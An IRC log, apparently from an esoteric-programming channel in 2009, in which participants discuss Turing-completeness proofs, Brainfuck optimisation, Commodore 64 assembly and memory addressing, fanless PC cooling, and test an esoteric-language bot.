21:57:42 Sure, sure. 21:57:46 "As it is, text takes a lot of memory so dissuading the programmer from using a lot of text was probably a good thing." 21:57:49 It's hard to draw the line :P 21:57:56 ais523: you know you talked about inherently large things? 21:58:03 on the C-64, text was inherently large :-) 21:58:13 ais523: you know you talked about inherently large things? *THAT'S WHAT SHE SAID* 21:58:16 GregorR, not really. If it hurts debugging in gdb then don't do it 21:58:17 -!- puzzlet_ has joined. 21:58:17 heh 21:58:18 GregorR: Oh snap. 21:58:18 simple 21:58:24 that heh was at ehird 21:58:32 AnMaster: "Hurts debugging in gdb" is ill-defined. 21:58:38 ehird: actually i'm considering an actual turing machine, that fits better i think 21:58:52 oerjan: as a first step, why not implement slashes in slashes? 21:58:55 GregorR, "value optimised out" is HURT definitely. 21:58:59 Yes :P 21:59:02 that doesn't prove anything, but if slashes can do an infinite counter and also implement itself 21:59:04 it seems likely to be TC 21:59:10 bonus: simple 21:59:15 (require preparsing ofc) 21:59:21 GregorR, anything breaking s is too. If it breaks si then I'm fine with it. 22:00:50 ehird: but a turing machine or cellular automaton is so easy to do with local substitutions 22:01:03 oerjan: do BCT 22:01:06 s/local/global/, possibly 22:01:06 optimise([#bfn{ ins = add, off = Offset, val = V2 }|T], 22:01:06 [#bfn{ ins = set, off = Offset, val = V1 } = A|Result]) -> 22:01:06 optimise(T, [A#bfn{ val = V1 + V2 }|Result]); 22:01:15 oerjan: BCT can be done with repeated really-regular regexs 22:01:16 that is so beautiful. 22:01:17 :) 22:01:26 Pattern matching RULES! 22:01:31 oerjan: so it's very trivial to prove a lang tc with it 22:01:41 ais523, ^ 22:02:04 AnMaster: how is ais523 meant to respond to that 22:02:08 "oh, that's nice"? 22:02:17 ehird, that would be one of many alternatives. 22:02:39 "I am a piece of bread on fire." 22:02:58 ehird, not as likely, but not technically impossible. 22:03:02 another would be saying something like "oh like in prolog" 22:03:03 :P 22:04:12 ehird: hm yeah BCT might be nice 22:04:26 yep 22:04:30 very trivial to implement 22:05:21 what is BCT in this context? Below Turing Complete? Bread fire Control Template? 22:05:22 ;P 22:05:31 http://esoteric.voxelperfect.net/wiki/BCT 22:05:35 bitwise cyclic tag 22:05:47 possibly the simplest of all languages to implement 22:05:56 Boh Clike Tinprolog 22:05:57 you can do cyclic tag in stuff where even BF would be a nightmare 22:06:26 ais523, ah 22:06:31 * ehird notes that a piece of bread on fire is colloquially called "toast" 22:06:38 Bitwise Cyclic Toast. 22:06:52 *charcoal 22:07:09 -p[-2]=0; 22:07:09 -p[-2]+=p[-7]; 22:07:09 +p[-2]=p[-7]; 22:07:10 :) 22:07:39 a bit better 22:10:41 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 22:11:15 hm also with BCT both the program and data might simply be data in the /// program, needing only trivial recoding 22:11:40 while for a turing machine you'd recode the state transitions as substitutions 22:11:58 so get on coding ;-) 22:12:01 it should be ubertrivial 22:14:10 oerjan, are you about to prove /// TC? 22:14:11 :D 22:14:21 maybe 22:14:23 shouldn't take long, BCT is more or less a natural fit for this sort of thing 22:14:30 I'm not sure if an interp or compiler would be easier, though 22:17:33 the true marvel is that bct is tc 22:17:52 ehird, agreed 22:18:12 "PRESS PLAY ON TAPE" — C64. 22:18:20 :D 22:18:27 ehird, do that then 22:18:36 AnMaster: There is no tape :-P 22:18:45 ehird, there is a tape emulator surely 22:18:49 well, yes 22:18:51 it has no play button 22:18:56 unfortunately my .prg doesn't seem to load... it just tries to load forever 22:18:59 ehird, what emulator are you using 22:19:00 probably I missed an entry point 22:19:02 AnMaster: VICE. 22:19:08 still... mhm 22:19:19 ah hm 22:19:28 from asie's celf_main.asm ".null $9e,^main" 22:19:32 I assume that has something to do with it 22:19:49 is that perl asm? :D 22:19:57 nope; Turbo Assembler 22:20:06 hah 22:20:38 cd /usr/bin; sudo ln -s perl turbo-sed 22:20:57 Did I mention that the C-64's 5'44" floppy drive was more powerful than the C-64? 22:21:07 (sold separately) 22:21:14 ehird, um. Powerful in what measure? 22:21:25 CPU, I think RAM 22:21:30 not sure about RAM though 22:21:35 why did the tape have a CPU... 22:21:36 err 22:21:38 tape drive 22:21:40 but still 22:21:43 Floppy drive. 22:21:44 AnMaster: it implemented DOS 22:21:47 not that DOS 22:21:48 ah 22:21:52 but the disk operating system 22:21:54 floppy drive 22:21:55 and the filesystem 22:21:59 ehird, heh...? 22:22:18 AnMaster: from the C-64 you called out to the floppy drive to run disk-operating-system commands 22:22:21 to manipulate the filesystem 22:22:25 I see... 22:22:29 you could access the floppy directly but it was harder 22:22:30 that's kind of crazy 22:22:39 not really 22:22:48 AnMaster: the c64 ran at 0.9mhz in pal countries 22:22:50 and had 64K of RAM 22:22:52 That's kind of how every piece of hardware works these days 22:22:56 it made sense to outsource the disk operation 22:22:57 I.e. it has firmware. 22:23:04 due to the insanely low system resources 22:23:14 and what Deewiant said 22:23:15 ehird, what about US? 22:23:15 -!- BeholdMyGlory has quit (Read error: 104 (Connection reset by peer)). 22:23:17 what speed there 22:23:19 For contrast, the tape drive doesn't really have much in the way of electronics in it; so you have to PRESS PLAY ON TAPE manually. 22:23:23 AnMaster: NTSC was 1mhz. 22:23:31 ehird, why was it faster. 22:23:32 well 22:23:35 NTSC = 1.02MHz 22:23:39 PAL = 0.985MHz 22:23:41 I don't see how this is related 22:23:43 AnMaster: I don't know... screen refresh rates? 22:23:46 ah ok 22:23:48 power supply? 22:23:50 from the wall 22:23:54 -!- kar8nga has quit (Remote closed the connection). 22:23:54 guess it was slow enough you had to time them 22:24:03 Screen refresh rates are my guess 22:24:04 they are not very fast machines 22:24:08 Deewiant: yeah 22:24:20 probably it's timed so it can do calculation and update the screen at the native fps of the television 22:24:31 ehird, US has 110 V and Europe has 230 V. Power supply can't be the reason. 22:24:31 NTSC is 29.97 fps, PAL is 25 22:24:32 Different video signal pixel clock, and just a suitable fraction of that for the CPU. 22:25:05 fizzie, so video refresh was faster than CPU? 22:25:09 * ehird attempts to input a * on this c64 22:25:11 Wait, you meant the other way around 22:25:12 emulator 22:25:12 right 22:25:17 I can't find the key :^) 22:25:23 ah 22:25:24 ] 22:25:52 It's more about the pixel clock than actual frame rates. But yes, the video clock is faster than the processor, I think. It depends on the sort of resolution you want, of course. 22:26:10 * ehird attempts to figure out how to list the files on the drive 22:26:50 Wikipedia says "14.31818 MHz (NTSC) or 17.73447 MHz (PAL)" clock for the video chip, and that was divided with some suitable constant to get the CPU clock signal. 22:26:59 ehird: LIST, IIRC 22:27:14 fizzie: I wonder if the demosceners tried to do calculation on the video chip 22:27:19 LOAD "$",8,1 and the LIST. Or some such thing. 22:27:21 "Just a second, the screen will go haywire..." 22:27:27 Deewiant: LIST 22:27:27 22:27:28 READY. 22:27:29 "$"? 22:27:34 Well, I guess I've loaded it the wrong. 22:27:41 LOAD "*",8,1 22:27:45 Yes, you load "$" to get a LISTable list of the disk. 22:27:47 or assembled it the wrong 22:27:51 Ah. 22:27:54 LOAD "*" will load the autoloadable program. 22:27:56 fizzie: ?OUT OF DAT ERROR 22:28:01 (with the two spaces) 22:28:02 *DATA 22:28:09 i guess 22:28:09 I haven't actually used a C64, so maybe I should just shut up. 22:28:09 % ./64tass flickr64.asm -o flickr64.prg 22:28:10 is wrong. 22:28:11 And 8 is the unit. I don't really remember what the 1 is. 22:28:19 -!- puzzlet_ has quit (Read error: 104 (Connection reset by peer)). 22:28:41 * ehird pilfers more CELF code. 22:28:45 fizzie: Device number, target location IIRC 22:28:46 I don't think I have a working C64 emulator and/or any .d64 file, so I can't really try these. But I do seem to remember that it was LOAD"$" and LIST. 22:28:51 -!- puzzlet has joined. 22:28:57 8 being the first disk drive, 9 being the next 22:29:26 The other one was some kind of enum where 0 was for BASIC and 1 for asm proggies 22:29:32 Can't remember the details of that one 22:30:32 * ehird kicks the assembler 22:30:38 I'll try and assemble CELF to see if that works. 22:30:53 p[-36]=0; 22:30:53 -p[0]=p[-36]; 22:30:53 -p[-36]=0; 22:30:53 +p[0]=0; 22:30:55 Indeed so 22:30:59 yet another step :) 22:31:01 It prints "LOADING CELF..." 22:31:09 So im doin it rong 22:31:49 The question is... what am I doing wrong? 22:33:07 you'd think it'd be easy to compile 22:33:08 main 22:33:09 inc $d020 22:33:10 inc $d021 22:33:12 jmp main 22:33:26 * ehird reads the 64tass manual 22:34:12 It works! \o/ 22:34:33 ehird, what was the issue? 22:34:47 also what is 64tass 22:34:59 64tass = port of Turbo Assembler to unices/windows. 22:35:02 ah 22:35:10 well. 22:35:10 ansi c. 22:35:20 AnMaster: and I'm not sure; I copied CELF's header and it didn't work but the one in the 64tass manual worked. 22:35:25 I suppose CELF changed it for OSly things 22:35:31 ehird, so Turbo is optimising? 22:35:35 Or why is it called Turbo? 22:35:39 Nope. 22:35:41 It's called Turbo because it's fast? 22:35:44 Or, I don't know. 22:35:46 Just a nice name. 22:35:52 hah 22:35:55 http://xs539.xs.to/xs539/09202/picture_1960.png ← Pretty ugliness. 22:36:05 (the program increments the border background, the regular background, then loops.) 22:36:14 (Since it does this in a tight loop, it happens more than once per screen redraw.) 22:36:16 * AnMaster writes the loop analyser. 22:36:31 -!- jix has quit ("night"). 22:36:53 the header in question is 22:36:54 *=$0801 22:36:54 .word ss,2005 22:36:56 .null $9e,^main;will be sys 4096 22:36:58 ss.word 0 22:37:00 *=$1000 22:37:02 and I have no idea what it does 22:37:04 I think *=$foo means 22:37:06 skip ahead to foo 22:37:08 in the assembled file 22:37:10 ($foo = hex) 22:37:19 and I suppose 2005 is a magical c64 header 22:37:33 it's $07d5 22:37:37 then... I don't know what the null thing is 22:37:43 Or exactly what ss is doing 22:37:45 But meh. 22:38:17 while (p[0]) { 22:38:17 p[-1]+=1; 22:38:17 p[0]-=1; 22:38:17 p[1]=0; 22:38:17 p[8]=0; 22:38:18 p[12]=1; 22:38:20 p[13]=0; 22:38:22 p[14]=0; 22:38:24 } 22:38:26 I wonder 22:38:28 what is the best way to optimise that 22:38:35 prog.add(new Data(new byte[] {0x0c, 0x08, 0x0a, 0x00, (byte)0x9e, 22:38:35 (byte)'0', (byte)'2', (byte)'0', (byte)'6', (byte)'2', 0, 0, 0})); 22:38:42 AnMaster: you can do that without any sort of loop 22:38:43 fizzie: wuzzat 22:38:44 I've only been doing c64 .prg files completely manually. :p 22:38:53 AnMaster: c[-1] = p[0]; 22:38:55 ehird, Um needs an if at least 22:38:58 err 22:38:59 it might be run zero times 22:39:00 well yes 22:39:06 It's the sort of header that should be there; I think that (byte)0x9e corresponds to what you have. 22:39:12 if (p[0]) {p[-1]=p[0];p[0]=0;the rest of the stuff you had} 22:39:16 is the optimal optimization 22:39:18 fizzie: ah. 22:39:18 ehird, but that is kind of Strong AI opt as far as I can see. 22:39:19 The header is there in order to make the BASIC interpreter run the assembly program. 22:39:25 or maybe not 22:39:28 AnMaster: err 22:39:28 how 22:39:34 it's trivial that's what it is 22:39:38 ehird, trying to see how the program could figure this out 22:40:12 it is a copy,set with side effects 22:40:15 right 22:40:49 i wonder how powerful of a computer can you make utterly solid state 22:40:53 (no fans or pumps) 22:41:13 bsmntbombgirl, with a large enough passive heat-sink: any 22:41:28 mind you, you might need a larger room in the most extreme cases 22:41:31 it's hard to transfer heat to a huge enough sink 22:41:34 bsmntbombgirl: any: radiator 22:41:36 heatsink 22:41:39 heatpipes aren't magical 22:41:47 bsmntbombgirl: see: totally no noise by zalman 22:41:50 Yes they are. 22:41:58 bsmntbombgirl: http://www.silentpcreview.com/article302-page1.html 22:42:04 bsmntbombgirl: convective cooling 22:42:06 err no 22:42:07 what was that DC thing 22:42:08 that's not it 22:42:12 petire 22:42:14 or something 22:42:19 which one is it, I forget 22:42:32 * ehird searches 22:42:44 here 22:42:45 bsmntbombgirl: http://www.silentpcreview.com/article301-page1.html 22:42:53 completely passively cooled system that was quite good in 2006 22:42:58 you could use the same sort of techniques to cool anything 22:43:20 that is pretty cool 22:43:23 yeah 22:43:37 pretty useless though; you can get a system with one or two fans for like a bajillion times less fuss 22:43:40 but i think you have to allow a pump to be practical 22:43:43 and if you put it a meter or so away from you inaudible 22:44:00 if you can cool something with few fans, it's probably the quietest way 22:46:09 * ehird searches for a simple reference of all c64 opcodes 22:46:27 *6510 :p 22:47:25 seems like the psu is the most difficult to cool in such situatioins 22:47:25 the best way is anti-sound 22:47:39 use interference to cancel out the loud fans 22:47:40 :) 22:47:41 bsmntbombgirl: you can get passive psus 22:47:43 Re the disk drive, probably the most important use for the processor in there is that you can make it do music. http://www.youtube.com/watch?v=5gnMgmlKi_o promises to have an example; I don't feel like listening to it right now. 22:47:45 up to about 380W 22:47:52 iirc 22:47:54 -!- oerjan has quit ("leaving"). 22:47:55 hmm 22:47:58 bsmntbombgirl: look up silverstone 22:48:03 http://www.hardware.info/images/news/silverstone_st45_1_550.jpg 22:48:06 ehird, what do you think about that idea 22:48:07 i bet they're shit without some forced airflow 22:48:08 450W passive psu by silverstone 22:48:15 bsmntbombgirl: everything's shit without airflow 22:48:23 bsmntbombgirl: endpcnoise do some high-end fanless computers 22:48:25 lemme find one 22:48:32 bsmntbombgirl: http://www.endpcnoise.com/cgi-bin/e/std/sku=fanless_mcubed_pc.html 22:48:53 so core 2 duo 3.3ghz, 280 watt seems to be the most you can feasibly do fanlessly 22:49:00 w/ an ssd of course 22:49:02 that's not bad at all 22:49:03 ehird, my solution should solve ALL the issues! 22:49:10 not sure how practical it is 22:49:47 but I remember reading about headphones that used interference to cancel out outside noise. 22:49:53 AnMaster: sucks 22:49:58 bsmntbombgirl, why 22:50:03 the easiest way to muffle computer noise is via the AcoustiPaks. 22:50:15 soundproofing materials, pretty much 22:50:17 http://www.acoustiproducts.com/en/acoustipack.asp 22:50:20 nice things. 22:50:39 bsmntbombgirl, why 22:50:58 AnMaster: cheating, won't work well 22:51:09 bsmntbombgirl, why is it cheating. And why won't it work well 22:51:25 what are you, 4? 22:51:55 bsmntbombgirl: empirical evidence suggests yes ;-) 22:51:58 bsmntbombgirl, I'm aware of that it isn't technically trivial. But with enough effort it should be possible to get it to work 22:52:06 but I don't see why it is "cheating" 22:52:07 ... 22:52:16 as long as it works 22:52:52 AnMaster: i said solid state 22:52:56 not noiseless 22:53:04 yep 22:53:11 http://www.qrdc.com/Quiet_Computer_PC_Parts/PC_Water_Cooling/ATX_Watercooled_500W_PSU/221 22:53:14 bsmntbombgirl: did you look at www.endpcnoise.com/cgi-bin/e/std/sku? 22:53:18 also, watercooled!=passive 22:53:23 err 22:53:23 well, yeah 22:53:25 http://www.endpcnoise.com/cgi-bin/e/std/sku=fanless_mcubed_pc.html 22:53:29 bsmntbombgirl, Fair enough. But why do you want solid state. 22:53:35 to reduce noise? 22:53:45 for the lulz 22:53:51 as a theoretical exercise 22:53:52 aka lulz 22:53:52 Or to reduce wear? 22:53:58 ok 22:54:20 AnMaster: also, you simply can't get 0dB without fully solid state 22:54:31 totally inaudible, yes. 0dB, no. 22:54:49 ehird, Hm... I wonder how feasible cancelling out the sound would be though. 22:55:01 just out of interest 22:55:03 see acoustipack? 22:55:05 that's what it's for 22:55:10 ehird, I meant with interference. 22:55:14 oh. 22:56:24 ehird, since I know it is possible. As I said above: I saw some headphones that used interference to cancel out outside noise. 22:57:02 http://en.wikipedia.org/wiki/Active_noise_control 22:58:26 http://forums.overclockers.com.au/showthread.php?t=744914 22:58:29 that's almost fanless 22:58:34 could be with a better radiator 22:59:13 bsmntbombgirl: hellooo? i've been linking you to a totally solid state computer that's relatively good spec-wise 22:59:22 :p 22:59:22 meh 22:59:26 diy is funner 22:59:29 sure 22:59:30 but 22:59:33 as a proof of what you can do 22:59:35 max out http://www.endpcnoise.com/cgi-bin/e/std/sku=fanless_mcubed_pc.html 23:00:06 meh, doubt it works 23:00:12 bsmntbombgirl: what do you mean doubt it works? 23:00:13 ehird, um the cd isn't solid state 23:00:17 FAIL 23:00:21 AnMaster: so take it out, child. 23:00:23 that isn't completely solid state 23:00:26 280 watts isn't very impressive 23:00:27 ehird, that works 23:00:42 bsmntbombgirl: it's enough to power a dual-core @ 3.33ghz & 4gb *shrug* 23:00:49 -!- olsner has quit ("Leaving"). 23:00:53 the superpowered i7 I'm getting maxes out at around 400 watt 23:01:00 -!- inurinternet has joined. 23:04:53 I even used headphones with ANC when flying once. 23:05:11 The Amazing Flying Human 23:06:01 I doubt anyone will want to wear headphones all the time, though; and noise cancellation is rather a lot trickier when you don't have such a good control as to what sound's going to enter the ear. 23:06:04 ehird, nah, Just sitting in the co-pilot seat. The heaphones with com and radio had noise cancelling. 23:06:17 AnMaster: you sit in seats in the air‽‽‽‽ 23:06:24 ehird, hah 23:06:41 fizzie, no way I'm going to take off the headphones in a noisy C-172 though! 23:08:36 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 23:08:40 i wrote my awesome c64 program 23:08:44 but I used 16 bit variables 23:08:51 guess how many bits the c64 registers are? 23:08:52 8 23:09:06 sooooo I either have to split it across two registers or put it in memory 23:09:25 i have a c64 somewhere 23:09:38 think my dad has one somewhere. 23:09:52 never actually used it 23:09:54 -!- FireFly has quit ("Later"). 23:10:26 hmm 23:10:36 I have a C128 in the closet ↑ that way, like I've probably said several times. 23:10:44 It has a reasonably compatible C64 mode, though. 23:10:51 ok, if instead of 23:10:54 ldx #$d800 23:10:55 i do 23:10:57 ldx #$d8 23:11:00 ldy #$00 23:11:07 oh wait, it adds on 23:11:07 hmm 23:11:20 as in, "inc x,y" is inc (x+y) i think 23:11:27 You can't really use 'xy' as a pair, anyway. 23:11:34 i'd like to, though. 23:11:37 since the maths would be simple 23:11:40 Well, you can't. 23:12:07 If you want to do 16-bit arithmetics, you'll have to do it with add-with-carry and some carry-handling. 23:12:09 i know, thus im trying to figure out how to do it best :P 23:12:24 fizzie: my loop is very mundane 23:12:40 it's just "loop x from $d800 to $dbff" 23:12:45 startldx #$d800 23:12:45 continc xfffff 23:12:46 ;increment, if >$dbff reset 23:12:48 inx 23:12:50 lda $dc00 23:12:52 cmp x 23:12:53 on a 64 bit proc, is a long long 128 bits? 23:12:55 bne start 23:12:56 jmp cont 23:12:58 bsmntbombgirl: yep 23:13:26 It's just not a 16-bit CPU, you can't use it like it were. :p 23:13:32 i know 23:13:41 i just don't know how to address, say, $dbff when all you can do is 23:13:43 inc x,y 23:13:45 which is inc (x+y) 23:13:56 oh wait 23:14:02 the literals can be $xxxx 23:14:05 if you do inc $xxxx 23:14:08 hrm 23:14:23 You can use absolute addressing with INC, so you can increment any byte in memory. 23:14:32 oh? 23:14:32 how? 23:14:48 Like you did there, inc $xxxx. I mean, assuming it's constant. 23:15:05 fizzie: well, it's not, since I'm looping from $d800 to $dbff 23:15:05 :p 23:15:12 and i wonder if sse is any good for crypto 23:15:15 If you need a 16-bit pointer-type of thing, you're pretty much going to have to use the indirect addressing modes. 23:15:25 fizzie: great, how do you use them 23:15:28 these docs are woeful 23:17:11 LDA ($ab,X) or LDA ($ab),Y -- where $ab is a memory address on the zero page (there's a couple free for temporary use, I think); the first will load A with the data in memory address pointed to by $ab+X and $ab+X+1. 23:17:24 ah, the 4-byte zero page? 23:17:29 asie said something about that 23:17:45 For the second, it's the memory address pointed to by $ab and $ab+1, with Y added to it after indirection. 23:17:55 fizzie: but... those are still 8 bit right? 23:18:22 Well, no, in the sense that it uses the bytes at $ab and $ab+1 to form the 16-bit address where to load the 8 bits of A from. 23:18:48 ah 23:18:50 gross :) 23:18:59 Then you can (painfully) increment the 16-bit value at $ab and go on with your loop. 23:19:08 -!- coppro has joined. 23:19:14 fizzie: so if you have $ab=ff and $ab+1=33, it behaves like LDA $ff33? 23:19:27 I think it might've been little-endian. 23:19:30 Not quite sure. 23:19:35 ah 23:19:39 well the c64 is so 23:19:41 $33ff 23:19:47 fizzie: is $ab an example or the actual addr :P 23:20:13 An example; I don't remember what the "free" bytes are (if you don't want to mess the C64 kernal stuff). 23:20:36 hrms 23:22:57 Anyway, if you want to write A to all bytes $d800..$dbff, you probably want to: loop through the values $d8..$db at some zero-page address $00ab (and keep $00ac == 0); and for each of those values do a single inner loop of Y=0..Y=$ff executing STA ($ab),Y. 23:23:23 yeah 23:23:30 should be easy enough once i figure out where the zero page is 23:23:32 bzr branch http://rage.kuonet.org/~anmaster/bzr/in-between/trunk in-between 23:23:36 in case anyone is interested 23:23:39 it is far from done 23:23:40 i want a tile64 23:23:45 but is quite ok already 23:23:46 bsmntbombgirl: what would it do 23:23:57 ehird: be awesome 23:24:01 ais523, you might be interested 23:24:06 same for lifthrasiir 23:24:06 ehird: 23:24:07 bsmntbombgirl: what is tile :p 23:24:08 FREKZP00FB-00FE251-254Free 0-Page Space for User Programs 23:24:15 http://www.tilera.com/products/TILE64.php 23:24:15 fizzie: ooh, thanks, where's that from 23:24:18 ehird: Those are the four officially free bytes you can use there. 23:24:22 http://www.cbmitapages.it/c64/c64ram.htm 23:24:32 bsmntbombgirl: what arch is it? 23:24:33 AnMaster: now is a bad time for me, RL-wise 23:24:41 ais523, ok. It will stay there. 23:24:52 fizzie: 4 bytes? the BBC Micro had an entire 32 bytes of Page Zero for the user 23:24:55 I think the official C64 programming guide had a reasonable memory map in it too; that is available as an e-text somewhere. In many places, I think. 23:24:56 I think the design is very nice thoigh 23:24:58 though* 23:25:07 ais523: the c-64 is rather hardcore 23:25:08 ais523: There are a lot of bytes you can abuse, IIRC. 23:25:21 actually, given that it's only 256 bytes large, 32 was an immensely large allocation for the user to play with 23:25:58 23:22 fizzie: Anyway, if you want to write A to all bytes $d800..$dbff, you probably want to: loop through the values $d8..$db at some zero-page address $00ab (and keep $00ac == 0); and for each of those values do a single inner loop of Y=0..Y=$ff executing STA ($ab),Y. 23:26:01 don't you mean put it in 00ac 23:26:04 and leave 00ab = 0 23:26:11 Right. 23:26:22 I was a bit big-endian there. 23:26:25 I wonder if them defaulting to 0 is in the speck 23:26:27 http://bzr.kuonet.org/in-between/trunk/files 23:26:27 yes, speck 23:26:28 btw 23:26:31 for browsing it 23:26:53 bsmntbombgirl: what do they run on 23:26:55 tile64s 23:26:59 what? 23:27:02 arch 23:27:29 wtf are you talkign about 23:28:54 bsmntbombgirl: what architecture do the tile64s use 23:28:56 fizzie: foo.asm:17: Extra characters on line "sta ($00fb),0" 23:29:03 ehird: their own 23:29:05 seems like we dun be supporting nonuvat syntax. 23:29:07 bsmntbombgirl: oh. 23:29:22 bsmntbombgirl: shrug; it seems like you'd need something really hugely parallel to use it properly 23:29:28 ...no shit 23:29:44 ehird: It's "STA ($FB),Y" you want; there's no such thing as ",0" there -- if you don't want an offset, you'll have to clear Y. 23:29:51 ah. 23:30:05 there's a better way to clear y than "ldy #$00"? :p 23:30:43 fizzie: seems not 23:30:44 lda #$ff 23:30:44 ldx #$00 23:30:46 sta ($fb),x 23:30:48 foo.asm:18: Constant too large "sta ($fb),x" 23:31:26 You need to use Y with it. 23:31:41 fizzie: it's a bloody odd syntax if you have to put ,y in there 23:31:42 Or you can write "STA ($FB,X)" if you want, since X=0. 23:31:55 welp, works now with y 23:32:09 hmm 23:32:14 nothing happens on the graphical display 23:32:17 how queery. 23:32:47 It's either indexed-indirect with ($ab,x) or indirect-indexed with ($ab),y; but you always have to use x and y depending on the style you want. It's a bit... limited. 23:33:06 Yeah. 23:33:13 I'm using ($ab),y. 23:33:27 Hmm... 23:33:35 Is $d800-$dbff not actually video memory? 23:34:30 I've completely forgotten what the graphics modes look like; but I'm sure there's no direct-mapped framebuffery thing. It's all very 8x8-raw-pixel-tiley. 23:35:07 Oh, I know, I'm doing text mode here 23:35:20 Oh. Well, I don't remember where that was either. :p 23:35:22 asiekierka said that $d800-$dbff was the colours for chars, I think. 23:35:27 The issue may be that there's no char there. 23:35:46 Of course, finding a slot that is used would be überwork. 23:38:28 Yes, the foreground color of characters seems to be at that range; one byte per character, but only 4 lower bits are actually stored. 23:39:03 fizzie: do you just sort of pick up the info from anywhere or are you getting this from an infallable resource? 23:39:06 i'd like to know which if the latter 23:39:57 Googling for random strings this time. I did have some sort of bookmark collection back when I was doing a bit of C64 stuff, but I'm sure I've misplaced it. 23:41:06 http://www.c64.ch/programming/c64prg10.txt is the official reference guide; large sections of it are pretty basic-oriented, but there's useful stuff too. 23:42:17 For example, even though the "programming graphics" chapter 3 speaks of POKEing a lot, the memory addresses are the same. And chapter 5 is about assembly-things. 23:42:50 It is a bit overfond of decimal numbers, though. 23:42:55 decimal ftl 23:44:41 Will have to sleep now; have 64fun. 23:44:48 bai 23:45:42 * bsmntbombgirl POKEs fizzie 23:47:28 -!- Dewi has joined. 23:48:03 “here is my virus, it's contained in the scanner for HIV 1. it scanns the disk for HIV1 (and removes it when it is found) but infects with HIV2.” 23:48:04 AnMaster: finally i splitted esotope-bfc into bfc package. not refactored yet, but it is being closer to pluggable architecture. 23:48:15 lifthrasiir, "bfc package"? 23:48:16 just like the fake antiviruses for windows of today! 23:48:19 ...wait what? 23:48:23 the name of package is "bfc". 23:48:32 bsmntbombgirl: c64 viruses 23:48:34 called HIV1/HIV2 23:48:38 to clear up confusion :p 23:48:39 Expr is moved to bfc.expr module, IR is to bfc.nodes, etc. 23:48:41 lifthrasiir, ah 23:48:48 omg ehird has aids 23:48:56 clearly. 23:52:46 -!- ais523 has quit (Remote closed the connection). 23:55:50 litle know fact 23:56:29 -!- oerjan has joined. 23:58:01 http://www.koolance.com/water-cooling/includes/modules/image_browse.php?code=665&type=more&nindex=0 23:58:04 submerged 23:58:44 -!- comex has quit (Remote closed the connection). 23:59:54 -!- Dewio has quit (Read error: 101 (Network is unreachable)). 2009-05-13: 00:07:03 -!- Infinitismal has left (?). 00:07:21 -!- upyr[emacs] has quit (Remote closed the connection). 00:37:53 -!- nooga has joined. 00:38:07 ffffffffuuuuuuuuu 00:38:40 porting mobile app written on windows to iphone -> 10022 errors 00:41:51 ^ul ((:*)::*^S:):(f)~^(u)~^(c)~^(k)~^(!)~^ 00:41:51 :*:*:*:* ...bad insn! 00:41:54 erm 00:42:45 ^ul ((:*)::*^^S:):(f)~^(u)~^(c)~^(k)~^(!)~^ 00:42:45 ffffffffffffffffuuuuuuuuuuuuuuuucccccccccccccccckkkkkkkkkkkkkkkk!!!!!!!!!!!!!!!! 00:45:25 ^objC 00:45:26 :d 00:49:14 !help 00:49:14 Supported commands: addinterp bf_txtgen daemon daemons delinterp fyb help info kill userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 00:49:26 even EgoBot doesn't have that 00:50:35 ^sadol !+*"1f+99*"1u+99 00:50:54 erm 00:50:56 !echo I use ! 00:50:56 I use ! 00:51:07 ahh 00:51:20 !sadol !+*"1f+99*"1u+99 00:51:20 BDSM: Invalid argument types for '*': string, integer (index: 2, row: 1, col: 3) 00:51:27 old BDSM! 00:51:34 kill it with fire 00:51:44 GregorR accepts patches 00:52:10 !info 00:52:10 EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ 00:52:33 hg bundles would be nice :P 00:53:22 uhh 00:54:12 nooga: you can also add things via the *interp commands, if it's written in a single file in a language that is already there 00:54:20 (although that doesn't recurse) 00:54:40 (programs can be URLs) 00:54:52 that's how i added slashes 00:55:02 !help addinterp 00:55:02 addinterp: !addinterp . Add a new interpreter to EgoBot. This interpreter will be run once every time you type ! , and receive the program code as input. 00:55:24 nah 00:55:31 BDSM2 is binary 00:55:38 ...............?! 00:55:42 It's not F/OSS?!?!?!? 00:55:49 it is 00:55:55 but written in C++ 00:56:04 !cxx 00:56:13 !cxx cout << "I can do C++" << endl; 00:56:15 I can do C++ 00:56:28 huh' 00:56:53 heh... !addinterp c++ /msg geordi 00:57:37 http://regedit.gamedev.pl/BDSM/ 00:58:00 compile it and voila 00:58:37 at least unless my SADOL->x86 compiler written in ruby will be finished ;F 00:59:03 Huh ... this seems to be the same version I already have ... 00:59:14 no? 00:59:30 !sadol !1!2 00:59:31 12 00:59:34 hmm 00:59:38 Yeah, that's the version I have. 00:59:45 !sadol !*"1a2 00:59:45 BDSM: Invalid argument types for '*': string, integer (index: 1, row: 1, col: 2) 01:00:01 but it should multiply the string like perl does 01:00:29 I don't know why that's not doing what you expect, but that is the version I have. 01:02:08 damn 01:02:14 okay 01:02:27 Is Sadol newline-sensitive perchance? 01:02:39 not at all 01:02:47 No clue 01:02:55 aaaaaaahhhhh 01:03:08 that string multiplication was my private patch 01:03:13 :C 01:03:49 lawl 01:04:32 quite old tbh 01:09:32 I should add a command like !addfullinterp that downloads code, extracts it, configures it (if applicable), builds it, and !addinterps it 01:13:26 !sadol ~m2(6:r"0:s#_0:n#_1:i0@ ffffffffffffffffffuuuuuuuuuuuuuuu 01:13:30 now 01:14:23 -!- inurinternet has quit (Read error: 113 (No route to host)). 01:14:33 !sadol (4:C",216!"9(4:C",216!C!C!"9(4:C",216!C!C 01:14:34 (4:C",216!"9(4:C",216!C!C!"9(4:C",216!C!C 01:14:44 reversed one is cooler 01:15:01 !sadol http://regedit.gamedev.pl/BDSM/99_bottles_of_beer.sad 01:15:03 99 bottles of beer on the wall, 99 bottles of beer. 01:15:15 jaro3000 wrote it in his head when he was on his way to school 01:17:12 huge brain, he won Polish OI 01:18:09 OI -> Olympiad in Informatics 01:18:10 ;p 01:18:48 !chiqrsx9p 9 01:18:49 99 bottles of beer on the wall, 01:19:03 Stops at 64 :P 01:19:32 since when this is an international pub? :d 01:19:54 you know, i think 99 bob should be a kind of milestone for such things, like beethoven's 9th for cds 01:20:06 iow, please increase the limit 01:20:37 also, it might be nice if the dcc chat 